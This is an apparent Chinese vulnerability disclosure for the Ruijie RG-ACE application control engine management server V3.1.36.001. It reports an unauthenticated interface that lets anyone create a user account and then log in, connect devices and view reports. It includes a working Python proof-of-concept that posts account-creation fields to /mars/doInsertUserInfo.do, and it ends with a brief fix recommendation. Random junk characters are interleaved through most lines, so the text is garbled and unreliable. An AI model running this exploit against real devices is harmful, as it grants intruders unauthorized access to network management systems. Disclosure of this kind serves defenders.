锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
2 n. B: w8 Q' I
( i: z: ]( ~. Y; g. G
) F- l8 x% w, R& D2 U8 N4 X! B测试的具体版本是; C1 |( E7 L5 q# E6 v
产品名称: 锐捷应用控制引擎# ]. B' Q `9 x7 Q8 P
版本号: 3.1.36.001 TC6 F( X, g& ]# g5 z3 n
编译时间: 201104291730
$ W' n7 c) _- S: w; a( d - T% M W/ |- Z. X& T/ O7 i
" {! S' n0 U+ p' x- e0 @
漏洞证明:
, L% K6 W9 S! m; ~7 J4 Y% A " u! j S* A0 o1 f! ~
5 T: @# y) L2 p0 j5 i N
: R( a6 p7 r8 j# z5 J* a. x. x
1 H9 p& x7 _# C# h& M% b
+ l9 `! b3 D$ K4 J$ [& V1 i
$ u- |, r/ D+ {执行脚本' k- g* k7 B# W3 d" g7 Q% \
#! /usr/bin/env python
R0 G, q: E3 ~#coding=gbk
* g8 u& e7 p/ u6 A7 U#RG-ACE管理服务器 V3.1.36.001
" M# L. z! ?9 V, pimport urllib2, urllib,cookielib
% @) [' ^! @, Z( {% y* ]url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
, @6 A3 t6 [) i+ C* |$ Iopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
" N1 M m9 E1 x$ Topener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]# S& _) M: i' Q( K- @' ~
post=(("event","userManager.doInsertUserInfo"),! {+ w0 d+ _, {) m7 s7 F5 |& l) T
("useractionname","addButtonValue"),
; l9 R3 N: B8 y' V0 R: B2 z("useropermanager","userManager"),% u4 d% }! r6 ?& x
("userName","t"), #######账号自己加
% j. z0 F, p' s; [; p$ ~("pwd","aaaaaa"),######密码自己加: l2 l4 j1 w( r: U! Y- A
("trueName","ad"),
! E8 S% f+ ?- k3 [("email",""),
6 S! Z$ H+ m, D) }& d' H("mobilePhone",""),9 h5 }& p4 L+ _0 O
("officePhone",""),
8 ]2 t" Y6 h6 e; Y+ A* t("addr",""),
: \7 R' U2 c4 Q" K6 T) K) C("submit","确定"))+ d: e" e1 S1 }& M* L6 F; i) m5 J
urllib2.install_opener(opener)" ~7 t" ]9 W+ b0 {
p=urllib2.urlopen(url, urllib.urlencode(post)).read(). z' Z) J0 N0 X
print "Done"0 h. y. d/ b+ j, Z0 h
\2 n. b2 ? r, L6 \4 i7 a
登录,连接设备
( N8 l! Z& n( q- `+ H2 y) m5 X t
# W) t6 w' |# y/ ?7 T
4 E8 h4 k0 r! e$ n: S8 J
l1 @: [4 }. f( n" @% |4 h- a: S/ z
默认的管理员admin权限更大点) ^2 n2 N% G" E; w# k# U
: v: g' @5 h7 |! R3 \
F* i/ e! ~$ t2 Z9 E
S8 V% E% w9 S4 l p8 T( n 2 z# Q, e0 g6 a1 s8 L
+ L0 @4 d. }" h
修复方案:
# S. q: `2 s/ r0 K+ ~0 ?加强对接口的权限验证9 }5 d- A( w; Q
& A& P/ D& |1 O% i |